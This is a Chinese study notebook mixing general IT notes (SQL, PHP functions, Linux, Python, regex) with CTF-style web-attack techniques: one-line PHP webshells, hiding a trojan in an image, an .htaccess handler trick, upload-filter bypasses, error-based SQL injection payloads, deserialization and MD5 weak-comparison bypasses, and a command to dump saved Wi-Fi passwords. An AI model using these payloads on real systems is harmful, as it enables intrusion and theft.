《随笔 一》
千峰教程:https://pan.baidu.com/s/1LGX4O5hDGkbLlg2GYHk4gQ? 提取碼pw99??
包括:jave基礎-進階-高級-工具,? ? ? ? ? ? ? ?HTML5 基礎-進階-高級-工具,? ? ? ? ? ? ? ?web前端 基礎-進階-高級-工具? ?,?
? ? ? ? ?python 基礎-進階-高級? ?-工具? ? ? ? ? ? 大數(shù)據(jù) 基礎-進階-高級-工具? ? ? ? ? ? ? ? ??UI?基礎-進階-高級-工具
? ? ? ? ?Linux 云計算 基礎-進階-高級-工具? ? ? 軟件測試?基礎-進階-高級-工具? ? ? ? ? ? ? Unity 游戲開發(fā) 基礎-進階-高級-工具
? ? ? ? ?物聯(lián)網(wǎng)?基礎-進階-高級-工具? ? ? ? ? ? ? ? 區(qū)塊鏈?基礎-進階-高級-工具? ? ? ? ? ? ? ? ? php?基礎-進階-高級-工具
??
?
?
查看電腦連接過的wifi密碼 cmd指令: 顯示所有儲存的信息 :netsh wlan show profile * key=clear
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?顯示單個信息: (1) netsh wlan show profiles
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? (2)netsh wlan show profile? name = "? wifi_name " key=clear
?
1, %23 是# 的URL 標識符 ;%27 是? ' 的標識符。
2, DBMS :數(shù)據(jù)庫管理系統(tǒng); RDBMS:?指關系型數(shù)據(jù)庫管理系統(tǒng)。
3,sql? 關鍵字 order by? :select *from table_name order by? column_name1,column_name2;
? ?對表進行排序,以 name1 為主,name2 為輻 進行升序 排序,,加DESC 變?yōu)榻敌颉?/p>
4, Ubuntu 更改時間/時區(qū) 命令:timedatectl set-timezone "Asia/Shanghai"
? ? ? 查看時間狀態(tài):?timedatectl status
5,域名解析是將域名指向網(wǎng)站空間IP,讓人們通過注冊的域名可以方便地訪問到網(wǎng)站的一種服務。IP地址是網(wǎng)絡上標識站點的數(shù)字地址,為方便記憶,采用域名來代替IP地址標識站點地址。域名解析就是域名到IP地址的轉(zhuǎn)換過程。域名的解析工作由DNS服務器完成。
6,hosts是一個沒有擴展名的系統(tǒng)文件,可以用記事本等工具打開,其作用就是將一些常用的網(wǎng)址域名與其對應的IP地址建立一個關聯(lián)“數(shù)據(jù)庫”,當用戶在瀏覽器中輸入一個需要登錄的網(wǎng)址時,系統(tǒng)會首先自動從Hosts文件中尋找對應的IP地址,一旦找到,系統(tǒng)會立即打開對應網(wǎng)頁,如果沒有找到,則系統(tǒng)會再將網(wǎng)址提交DNS域名解析服務器進行IP地址的解析。?
需要注意的是,Hosts文件配置的映射是靜態(tài)的,如果網(wǎng)絡上的計算機更改了請及時更新IP地址,否則將不能訪問。
7,X-Forwarded-For(XFF)是用來識別通過HTTP代理或負載均衡方式連接到Web服務器的客戶端最原始的IP地址的HTTP請求頭字段。通俗來說,就是瀏覽器訪問網(wǎng)站的IP。
利用:X-Forwarded-For:127.0.0.1 來偽造本地IP
?
8,winHEX? 文件頭? ?50 4B 03 04可以得知這是一個壓縮包
9,winHEX? ? ?文件頭?89 50 4E 47 PE頭應該是png圖片
第二行的前八位 是 圖片的 寬 和高? 修改可以改變 圖片的寬和高
10,如果你打開一個文件發(fā)現(xiàn)是一堆亂碼,就可以猜想是不是一個壓縮包,進行解壓試試,
? ? ? ?word文檔本身就是一個壓縮包,如果打開一個word文檔發(fā)現(xiàn)是亂碼,就嘗試這解壓試試
11,Binwalk是一個固件分析工具,用于協(xié)助研究人員對固件進行分析,文件提取等,功能:過濾功能,提取文件,比較功能,字符串分析,插件功能。
12,EXIF:可交換圖像文件格式,是專門為數(shù)碼相機的照片設定的,可以記錄數(shù)碼照片的屬性信息和拍攝數(shù)據(jù)。Exif可以附加于JPEG、TIFF、RIFF等文件之中,為其增加有關數(shù)碼相機拍攝信息的內(nèi)容和索引圖或圖像處理軟件的版本信息。Exif信息以0xFFE1作為開頭標記,后兩個字節(jié)表示Exif信息的長度。所以Exif信息最大為64 kB,而內(nèi)部采用TIFF格式
13,Access :關系數(shù)據(jù)庫管理系統(tǒng)?是微軟把數(shù)據(jù)庫引擎的圖形用戶界面和軟件開發(fā)工具結合在一起的一個數(shù)據(jù)庫管理系統(tǒng)
14,子網(wǎng)掩碼(subnet mask)又叫網(wǎng)絡掩碼、地址掩碼、子網(wǎng)絡遮罩,它是一種用來指明一個IP地址的哪些位標識的是主機所在的子網(wǎng),以及哪些位標識的是主機的位掩碼。子網(wǎng)掩碼不能單獨存在,它必須結合IP地址一起使用。子網(wǎng)掩碼只有一個作用,就是將某個IP地址劃分成網(wǎng)絡地址和主機地址兩部分。?[1]?
子網(wǎng)掩碼是一個32位地址,用于屏蔽IP地址的一部分以區(qū)別網(wǎng)絡標識和主機標識,并說明該IP地址是在局域網(wǎng)上,還是在遠程網(wǎng)上。
15,GitHub是通過Git進行版本控制的軟件源代碼托管服務,世界上最大的代碼存放網(wǎng)站和開源社區(qū)。
16,PHP 文件讀取: $file = fopen(fname, moshi?)? ? ? ? ?不是以文本的形式打開,而是將文件讀取并執(zhí)行后的結果顯示出來,除非以單個字符讀取
- "r" (只讀方式打開,將文件指針指向文件頭)
- "r+" (讀寫方式打開,將文件指針指向文件頭)
- "w" (寫入方式打開,清除文件內(nèi)容,如果文件不存在則嘗試創(chuàng)建之)
- "w+" (讀寫方式打開,清除文件內(nèi)容,如果文件不存在則嘗試創(chuàng)建之)
- "a" (寫入方式打開,將文件指針指向文件末尾進行寫入,如果文件不存在則嘗試創(chuàng)建之)
- "a+" (讀寫方式打開,通過將文件指針指向文件末尾進行寫入來保存文件內(nèi)容)
- "x" (創(chuàng)建一個新的文件并以寫入方式打開,如果文件已存在則返回 FALSE 和一個錯誤)
- "x+" (創(chuàng)建一個新的文件并以讀寫方式打開,如果文件已存在則返回 FALSE 和一個錯誤)
?
17,PHP 中explode(分隔符,字符串) 函數(shù) : 將字符串變量打散為 數(shù)組,依據(jù)分隔符
? ? ? ?PHP end() 函數(shù)獲取文件的后綴名
18,? ?./configure?是用來檢測你的安裝平臺的目標特征的。比如它會檢測你是不是有CC或GCC,并不是需要CC或GCC,它是個? ? ? ? ? ? shell腳本。
make?是用來編譯的,它從Makefile中讀取指令,然后編譯。
make install是用來安裝的,它也從Makefile中讀取指令,安裝到指定的位置
19, 用 linux 編譯執(zhí)行 c / c++? ?用命令 vim? mian.c? ? ?編譯 : gcc? ?-o? ?執(zhí)行文件名? ? mian
執(zhí)行 : ./? 執(zhí)行文件名
20,創(chuàng)建文件? ?命令 : mkdir -m? 777? ?filename
21, 修改文件權限 :? chmod? 777? filename? ? ? -R? ?修改文件夾及其子文件夾的權限22,
22, .cdf? ?文件? ??.cdf?文件是數(shù)據(jù)文件 , 可以包含不同的文本格式的屬性和多媒體元素的交互式文檔的多媒體編碼標準。這些多媒體元素是像圖表和圖形也可以與互動功能,這可以通過由CDF播放器軟件提供的功能來完成集成大多可視對象。
23, 圖片中木馬的插入方法:打開 cmd? :
copy doram.jpg/b+lubr.php/a xiaoma.jpg將lubr.php 木馬插入到 doram.jpg 圖片中? ?生成新文件? xiaoma.jpg??
24,web容器??是一種服務程序,在服務器一個端口就有一個提供相應服務的程序,而這個程序就是處理從客戶端發(fā)出的請求,如tomcat、apache、nginx等等。(可以理解為給編程語言提供環(huán)境)
25,服務器:www服務器或http服務器。提供web信息游覽服務。它只需支持http協(xié)議、html文檔格式以及url,向游覽器提供服務的程序
26,IIS全稱是互聯(lián)網(wǎng)信息服務,包括FTP/FTPS、NNTP、HTTP/HTTPS、SMTP等服務。
.net Framework是基礎類庫,是程序運行的底層框架。
IIS是架設Web服務器用來提供網(wǎng)頁游覽服務的,屬于系統(tǒng)環(huán)境。
一般用ASP.NET開發(fā)軟件,然后靠IIS對公網(wǎng)提供服務。
27,Hash
散列表(Hash?table,也叫哈希表),是根據(jù)鍵(Key)而直接訪問在內(nèi)存存儲位置的數(shù)據(jù)結構。 也就是說,它通過計算一個關于鍵值的函數(shù),將所需查詢的數(shù)據(jù)映射到表中一個位置來訪問記錄,這加快了查找速度。 這個映射函數(shù)稱做散列函數(shù),存放記錄的數(shù)組稱做散列表。
28,
information_schema
系統(tǒng)數(shù)據(jù)庫,記錄當前數(shù)據(jù)庫的數(shù)據(jù)庫,表,列,用戶權限等信息
SCHEMATA
儲存mysql所有數(shù)據(jù)庫的基本信息,包括數(shù)據(jù)庫名,編碼類型路徑等
TABLES
儲存mysql中的表信息,包括這個表是基本表還是系統(tǒng)表,數(shù)據(jù)庫的引擎是什么,表有多少行,創(chuàng)建時間,最后更新時間等
COLUMNS
儲存mysql中表的列信息,包括這個表的所有列以及每個列的信息,該列是表中的第幾列,列的數(shù)據(jù)類型,列的編碼類型,列的權限,列的注釋等
29,PHP配置文件中session.save_path負責session文件的存放位置。
30,WAF:Web應用防護系統(tǒng),例如安全狗就是waf的一種。waf通常以關鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截
31,一句話木馬有很多,也有些一句話木馬非常的隱蔽,經(jīng)典的一句話木馬有:<? php @eval($_POST['pss']); ?>
? ?<? php assert($_POST['pss']); ?>? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??? ? ?<? php? ? ?phpinfo();? ? ? ?> ?
32,.htaccess文件是運行Apache Web Server的Web服務器的配置文件,對配置和重定向Apache Web Server文件系統(tǒng)很有用。一般我們將.htaccess文件放置在網(wǎng)站的根目錄,控制所在目錄及所有子目錄,而如果放置在子目錄中,會受上級目錄中.htaccess文件影響,是不起任何作用的。
.htaccess 文件有很多的功能,如:文件夾密碼保護、用戶自動重定向、自定義錯誤頁面、改變你的文件擴展名、封禁特定IP地址的用戶、只允許特定IP地址的用戶、禁止目錄列表,以及使用其他文件作為index文件
這用來重寫文件解析:<FilesMatch "1.jpg">
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? SetHandler application/x-httpd-php
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?</FilesMatch>
33,PHP?move_uploaded_file()?函數(shù)
move_uploaded_file() 函數(shù)把上傳的文件移動到新位置。
如果成功該函數(shù)返回 TRUE,如果失敗則返回 FALSE。
move_uploaded_file(file,newloc)
?
| file | 必需。規(guī)定要移動的文件。 |
| newloc | 必需。規(guī)定文件的新位置。 |
34,move_uploaded_file會忽略掉/.? 1.php/. 會被保存為1.php
35,
str_ireplace() 函數(shù)替換字符串中的一些字符(不區(qū)分大小寫)。
str_ireplace(find,replace,string,count)
該函數(shù)必須遵循下列規(guī)則:
- 如果搜索的字符串是一個數(shù)組,那么它將返回一個數(shù)組。
- 如果搜索的字符串是一個數(shù)組,那么它將對數(shù)組中的每個元素進行查找和替換。
- 如果同時需要對某個數(shù)組進行查找和替換,并且需要執(zhí)行替換的元素少于查找到的元素的數(shù)量,那么多余的元素將用空字符串進行替換。
- 如果是對一個數(shù)組進行查找,但只對一個字符串進行替換,那么替代字符串將對所有查找到的值起作用。
注釋:該函數(shù)是不區(qū)分大小寫的。請使用?str_replace()?函數(shù)執(zhí)行區(qū)分大小寫的搜索。
36,圖片馬 也可以用菜刀正常連接
37,
大概存在幾個通殺情況:
1.php%aa ?通殺黑名單
1.php:jpg生成1.php空文件.然后將文件名改為1.<<< 可成功上傳webshell
?
38, __init__ (構造函數(shù)) : 初始化某個類的實例。
? ? ? ? __call__(調(diào)用函數(shù)): 的作用是使實例能夠像函數(shù)一樣被調(diào)用,同時不影響實例本身的生命周期(__call__()不影響一個實例的構造和析構)。但是__call__()可以用來改變實例的內(nèi)部成員的值。
實例:? 他們兩個的調(diào)用方式不同所以不會引起沖突
class X(object):def __init__(self, a, b, range):self.a = aself.b = bself.range = rangeprint("調(diào)用__init__構造函數(shù)")def __call__(self, a, b):self.a = aself.b = bprint("調(diào)用__call__函數(shù):",end="")print(' __call__ with ({}, {})'.format(self.a, self.b))def __del__(self ):print("調(diào)用析構函數(shù)")xInstance = X(1, 2, 3) #調(diào)用構造函數(shù)__init__ xInstance(1,2) # 調(diào)用函數(shù)__call__輸出結果:調(diào)用__init__構造函數(shù) 調(diào)用__call__函數(shù): __call__ with (1, 2) 調(diào)用析構函數(shù)39,在python 面向?qū)ο笾?父類的方法被重寫? 時 主函數(shù) 調(diào)用 父類被重寫的方法 的方法為 :
超類? ?super.(父類名,實例名). 方法名()? ?
或者 可以用__class__ 去指定 類對象
比如? ?person.__class__ = A? ? ? ?(這里A為父類名)
? ? ? ? ?person. run()? ? #這樣就可以調(diào)用被重寫的方法了
?
單下劃線開始的? 代表保護成員??只有類對象和子類對象自己能訪問到這些變量
"雙下劃線" 開始的是私有成員,意思是只有類對象自己能訪問,連子類對象也不能訪問到這個數(shù)據(jù)
以雙下劃線開頭和結尾的(__foo__)代表python里特殊方法專用的標識,如 __init__()代表類的構造函數(shù)
?
發(fā)現(xiàn)一個Python 與 c ++ 不同的地方:
這個是正常的派生類,子類的構造函數(shù)的同時也調(diào)用了父類的構造函數(shù)
但 從輸出可以看出來? 在定義子類對象時是先調(diào)用的? 子類的構造函數(shù)? 后調(diào)用的父類的構造 (這點與c++不同)
這是注釋掉 在子類構造函數(shù)中的 父類構造函數(shù)
輸出 發(fā)現(xiàn)? 竟然沒有 調(diào)用父類的構造函數(shù)
在沒有定義子類構造函數(shù)的情況下
竟然自動調(diào)用了 父類的構造函數(shù)
?
似乎可以得出結論 在定義子類對象時? 只會自動調(diào)用一個 __init__()函數(shù)? 且 子類的優(yōu)先于父類的構造
當子類 沒有 定義__init__()函數(shù)時 就自動調(diào)用 父類的
?
?
40,
extractvalue()
extractvalue() :對XML文檔進行查詢的函數(shù)
其實就是相當于我們熟悉的HTML文件中用 <div><p><a>標簽查找元素一樣
語法:extractvalue(目標xml文檔,xml路徑)? extractvalue()能查詢字符串的最大長度為32
第二個參數(shù) xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,并且會返回我們寫入的非法格式內(nèi)容,而這個非法的內(nèi)容就是我們想要查詢的內(nèi)容。
正常查詢 第二個參數(shù)的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯
updatexml()
updatexml()函數(shù)與extractvalue()類似,是更新xml文檔的函數(shù)。
語法updatexml(目標xml文檔,xml路徑,更新的內(nèi)容)
select username from security.user where id=1 and (updatexml(‘a(chǎn)nything’,’/xx/xx’,’anything’))
41,
三種報錯注入:
(1). 通過floor報錯
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload為你要插入的SQL語句
需要注意的是該語句將 輸出字符長度限制為64個字符
(2). 通過updatexml報錯
and updatexml(1,payload,1)
同樣該語句對輸出的字符長度也做了限制,其最長輸出32位
并且該語句對payload的返回類型也做了限制,只有在payload返回的不是xml格式才會生效
(3). 通過ExtractValue報錯
and extractvalue(1, payload)
輸出字符有長度限制,最長32位。
payload即我們要輸入的sql查詢語句
42,win 環(huán)境下 切換python 2 和3? ?命令 : py -2? ? ? ?py? -3
?
PHP 序列化和反序列化:
43,?file_put_contents (生成的文件名,字符串)?將一個字符串寫入文件
和依次調(diào)用?fopen(),fwrite()?以及?fclose()?功能一樣
44,
序列化(串行化):是將變量轉(zhuǎn)換為可保存或傳輸?shù)淖址倪^程;
反序列化(反串行化):就是在適當?shù)臅r候把這個字符串再轉(zhuǎn)化成原來的變量使用。
這兩個過程結合起來,可以輕松地存儲和傳輸數(shù)據(jù),使程序更具維護性。
常見的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode
?
45,gzcompress($data, level)此函數(shù)使用zlib?數(shù)據(jù)格式壓縮給定的字符串,這是不一樣gzip壓縮,它包括一些報頭數(shù)據(jù)
data
要壓縮的數(shù)據(jù)。
level
壓縮程度。可以給出為0表示無壓縮,最高壓縮為9。
如果使用-1,則使用zlib庫的默認壓縮,即6。
46,
1. serialize和unserialize函數(shù)
這兩個是序列化和反序列化PHP中數(shù)據(jù)的常用函數(shù)。
2. json_encode 和 json_decode
使用JSON格式序列化和反序列化是一個不錯的選擇:?
- 使用json_encode和json_decode格式輸出要serialize和unserialize格式快得多。
- JSON格式是可讀的。
- JSON格式比serialize返回數(shù)據(jù)結果小。
- JSON格式是開放的、可移植的。其他語言也可以使用它
3. var_export 和 eval
var_export 函數(shù)把變量作為一個字符串輸出;eval把字符串當成PHP代碼來執(zhí)行,反序列化得到最初變量的內(nèi)容。
4. wddx_serialize_value 和 wddx deserialize
wddx_serialize_value函數(shù)可以序列化數(shù)組變量,并以XML字符串形式輸出
?
47,file_put_contents() 函數(shù)把一個字符串寫入文件中
? ?file_get_contents() 把整個文件讀入一個字符串中。
該函數(shù)是用于把文件的內(nèi)容讀入到一個字符串中的首選方法
48,??序列化生成字符串時:對象私有化成員會自動添加了類名,以區(qū)分他們是Private 變量;如果是Protected 變量則會添加* 號。并且前綴添加空字節(jié)
49,
-
public string __toString:用于一個類被當成字符串輸出時調(diào)用本函數(shù)(5.2以前只針對ehco ,print,5.2后針對所有字符串情況)
-
public array __sleep:serialize() 函數(shù)會檢查是否存在魔術方法 sleep()。如果存在,該方法會先被調(diào)用,然后才執(zhí)行序列化操作。此功能可以用于清理對象,并返回一個包含對象中所有應被序列化的變量名稱的數(shù)組。如果該方法未返回任何內(nèi)容,則 NULL 被序列化,并產(chǎn)生一個 E_NOTICE 級別的錯誤(不會打斷腳本執(zhí)行)。
-
public void __wakeup:unserialize() 函數(shù)會檢查是否存在魔法方法 wakeup()。如果存在,則會先調(diào)用 wakeup 方法,預先準備對象需要的資源。wakeup() 經(jīng)常用在反序列化操作中,例如重新建立數(shù)據(jù)庫連接,或執(zhí)行其它初始化操作。
-
__call:在對象中調(diào)用一個不可訪問方法時被調(diào)用
-
__invoke()? 當腳本嘗試將對象調(diào)用為函數(shù)時,調(diào)用__invoke()方法。+
50,
反序列化漏洞
由前面可以看出,當傳給 un
?
serialize() 的參數(shù)可控時,我們可以通過傳入一個精心構造的序列化字符串,從而控制對象內(nèi)部的變量甚至是函數(shù)。
由前可以看到,unserialize()后會導致__wakeup() 或__destruct()的直接調(diào)用,中間無需其他過程。因此最理想的情況就是一些漏洞/危害代碼在__wakeup() 或__destruct()中,從而當我們控制序列化字符串時可以去直接觸發(fā)它們
51,
__wakeup() //使用unserialize時觸發(fā) __sleep() //使用serialize時觸發(fā) __destruct() //對象被銷毀時觸發(fā) __call() //在對象上下文中調(diào)用不可訪問的方法時觸發(fā) __callStatic() //在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā) __get() //用于從不可訪問的屬性讀取數(shù)據(jù) __set() //用于將數(shù)據(jù)寫入不可訪問的屬性 __isset() //在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā) __unset() //在不可訪問的屬性上使用unset()時觸發(fā) __toString() //把類當作字符串使用時觸發(fā) __invoke() //當腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā)52,
成也布爾,敗也布爾‘,布爾類型的true跟任意字符串在‘==’下都成立
53,
var_dump()?函數(shù)用于輸出變量的相關信息。
函數(shù)顯示關于一個或多個表達式的結構信息,包括表達式的類型與值。數(shù)組將遞歸展開值,通過縮進顯示其結構
var_export(? ?,? ?)?此函數(shù)返回關于傳遞給該函數(shù)的變量的結構信息,它和?var_dump()?類似,不同的是其返回的表示是合法的 PHP 代碼 .? 您可以通過將函數(shù)的第二個參數(shù)設置為?TRUE,從而返回變量的表示
54,? ? eval?(?string?$code?) :?mixed
把字符串?code?作為PHP代碼執(zhí)行。
函數(shù)eval()語言結構是?非常危險的, 因為它允許執(zhí)行任意 PHP 代碼。?它這樣用是很危險的。?如果您仔細的確認過,除了使用此結構以外 別無方法, 請多加注意,不要允許傳入任何由用戶 提供的、未經(jīng)完整驗證過的數(shù)據(jù)?
55,? ?file_exists?(?string?$filename?) :?bool
檢查文件或目錄是否存在。
56,?feof?(?resource?$handle?) :?bool
測試文件指針是否到了文件結束的位。
57,phar//:? ? ?PHAR(PHP歸檔)文件是一種打包格式,通過將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個歸檔文件中來實現(xiàn)應用程序和庫的分發(fā)。?PHAR文件可以是三種格式之一:tar和ZIP(它們與各自的工具相兼容),以及自定義的PHAR格式
58,die() 函數(shù)輸出一條消息,并退出當前腳本。? ? 該函數(shù)是?exit()?函數(shù)的別名。
59,requests 庫其實只有一個方法 request? ,其他的方法(get , post, head, put, patch,delect)都是調(diào)用的request 方法
60,平行遍歷必須再同一個父類標簽下
61,(1)字符串中出現(xiàn) 很多%,或者出現(xiàn)%23,%20 等 都可以嘗試 url 解碼
(2)字符串的結尾出現(xiàn)== 時,可以嘗試 base?64 解碼
(3)字符串中出現(xiàn)大量數(shù)字時 ,可以嘗試? 16進制轉(zhuǎn)字符 解碼
? (4)
62,
stripos(字符串a(chǎn),字符串b) 函數(shù)查找字符串b在字符串a(chǎn)中第一次出現(xiàn)的位置(不區(qū)分大小寫)。
file_get_contents 將整個文件讀入一個字符串
strlen() 函數(shù)返回字符串的長度
substr() 函數(shù)返回字符串的一部分。?substr(string,start,length) ,length參數(shù)可選。如??substr($b,0,1)??就是在參數(shù)b里面 ,從0開始返回1個長度的字符串
eregi() —?不區(qū)分大小寫的正則表達式匹配,本函數(shù)和?ereg()?完全相同,只除了在匹配字母字符時忽略大小寫的區(qū)別。
?
63,preg_match() 正則表達的匹配函數(shù),會在給定字符串中全局匹配
64,trim(字符串,字符) 移除字符串兩側(cè)的空白字符或其他預定義相匹配的字符(可以是正則匹配)
例如:
<?php $str = "Hello World!"; echo $str . "<br>"; echo trim($str,"Hed!"); ?>執(zhí)行結果:Hello World! llo Worl65,Python :preg_match(正則表達式,被匹配的字符串,變量):
被匹配到的字符串被放在變量中,返回 pattern 的匹配次數(shù)。 它的值將是 0 次(不匹配)或 1 次,因為 preg_match() 在第一次匹配后 將會停止搜索。preg_match_all() 不同于此,它會一直搜索subject 直到到達結尾。 如果發(fā)生錯誤preg_match()返回 FALSE。
?$IM=?preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i",?trim($_GET["id"]),?$match);
.??????????????????????????????????匹配除 "\n" 之外的任何單個字符
*?????????????????????????????????匹配它前面的表達式0次或多次,等價于{0,}
{4,7}???????????????????????????最少匹配 4?次且最多匹配 7?次,結合前面的 . 也就是匹配 4 到 7 個任意字符
\/????????????????????????????????匹配 / ,這里的 \ 是為了轉(zhuǎn)義
[a-z]???????????????????????????匹配所有小寫字母
[:punct:]?????????????????????匹配任何標點符號
\i????????????????????????????????表示不分大小寫
\b? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?標記一個單詞的邊界
\B? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 非單詞邊界
?? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?匹配0個或1個字符
$? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 為匹配字符結束的位置
+? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 匹配1 個或多個字符
\f? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 匹配一個換頁符
\s? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?匹 配任何空白字符,包括空格、制表符、換頁符等等? ?
\S? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 匹配任何非空白字符
\r? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?匹配一個回車符
()? ? ? ? ? ? ? ? ? ? ? ? ? ??標記一個子表達式的開始和結束位置
[? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??標記一個中括號表達式的開始
|? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??指明兩項之間的一個選擇
{n}? ? ? ? ? ? ? ? ? ? ? ? ? ??n 是一個非負整數(shù)。匹配確定的 n 次
{n,m}? ? ? ? ? ? ? ? ? ? ? ? 匹配n至m次
?g? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?正則表達式后面的全局標記?g?指定將該表達式應用到輸入字符串中能夠查找到的盡可能多的匹配
\1? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?指定第一個子匹配項
\d? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 匹配一個數(shù)字字符
\B? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 匹配一個非數(shù)字字符
| \w | 匹配字母、數(shù)字、下劃線。等價于'[A-Za-z0-9_]'。 |
| \W | 匹配非字母、數(shù)字、下劃線。等價于 '[^A-Za-z0-9_]' |
| \num | 匹配 num,其中 num 是一個正整數(shù)。對所獲取的匹配的引用 |
模式修正符
在最后一個細線‘/’之后使用,如 /php/i
| i | 不區(qū)分大小寫 |
| m | 將字符視為多行 |
| s | 將字符串視為單行,換行符作為普通的字符 |
| x | 忽略空白 |
| u | 取消貪婪模式,等同于在數(shù)量符之后添加一個問號,比如 .*? |
?
?
[0-9\.\-] 匹配所有的數(shù)字,句號和減號 [ \f\r\t\n] 匹配所有的白字符-
. 匹配任意單個字符
-
[] 匹配中括號內(nèi)指定范圍的任意單個字符
-
[^] 匹配中括號指定范圍外的任意單個字符
-
[:alnum:] 匹配字母和數(shù)字
-
[:alpha:] 匹配任何英文
-
[:lower:] 小寫英文字母
-
[:upper:] 大寫英文字母
-
[:blank:] 空白字符(空格和字表符)
-
[:space:] 水平和垂直的空白字符(范圍比blank的廣)
-
[:cntrl:] 不可打印的控制字符(退格、刪除、警鈴等)
-
[:digit:] 十進制數(shù)字
-
[:xdigit:] 十六進制數(shù)字
-
[:graph:] 可打印的非空白字符
-
[:print:] 可打印的字符
-
[:punct:] 標點符號
66,
strcmp($d,$ds),比較兩個字符串是否相等,漏洞:在傳入的參數(shù)類型不是字符串時,會報錯,但是卻判定相等!66,md5($ss,ture/false)漏洞:
ture :為16位,false:為32位
?
首先是md5()函數(shù)漏洞
第一種
$_GET['a'] != $_GET['b']?
&&
MD5($_GET['a']) == MD5($_GET['b'])
要讓上面的等式成立,a和b的值不能相等,但是md5后的值相等。(php弱類型)因為是 == 比較,只判斷值是否相等,不判斷類型是否相同。如果類型不同先轉(zhuǎn)換為相同類型再進行比較而PHP在處理哈希字符串時后,會把0E開頭的哈希值解釋為0。所以如果兩個值通過md5后值都已0E開頭,就會相等。
那么這些值有哪些呢?
QNKCDZO 0e830400451993494058024219903391s878926199a 0e545993274517709034328855841020s155964671a 0e342768416822451524974117254469s214587387a 0e848240448830537924465865611904s214587387a 0e848240448830537924465865611904s878926199a 0e545993274517709034328855841020
第二種
$_POST['a1']!==$_POST['a2']?
&&?
md5($_POST['a1'])===md5($_POST['a2'])
=== 不僅比較值相等還會要求類型比較
但是
md5無法處理數(shù)組!所以構建數(shù)組就可以了
第三種
(string)$_POST['a1']!==(string)$_POST['a2']? &&? md5($_POST['a1'])===md5($_POST['a2']) }
這里比較的是字符串
那么md5值相同的字符串有哪些呢?
#仔細看,數(shù)值均不同
#強網(wǎng)杯某大牛wp
$Param1="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$Param2="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
#008ee33a9d58b51cfeb425b0959121c9
#知乎Belleve
$data1="\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x07\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\xf1\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\x72\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\x34\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\x28\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\xab\x6f\xf7\x2a\x70";
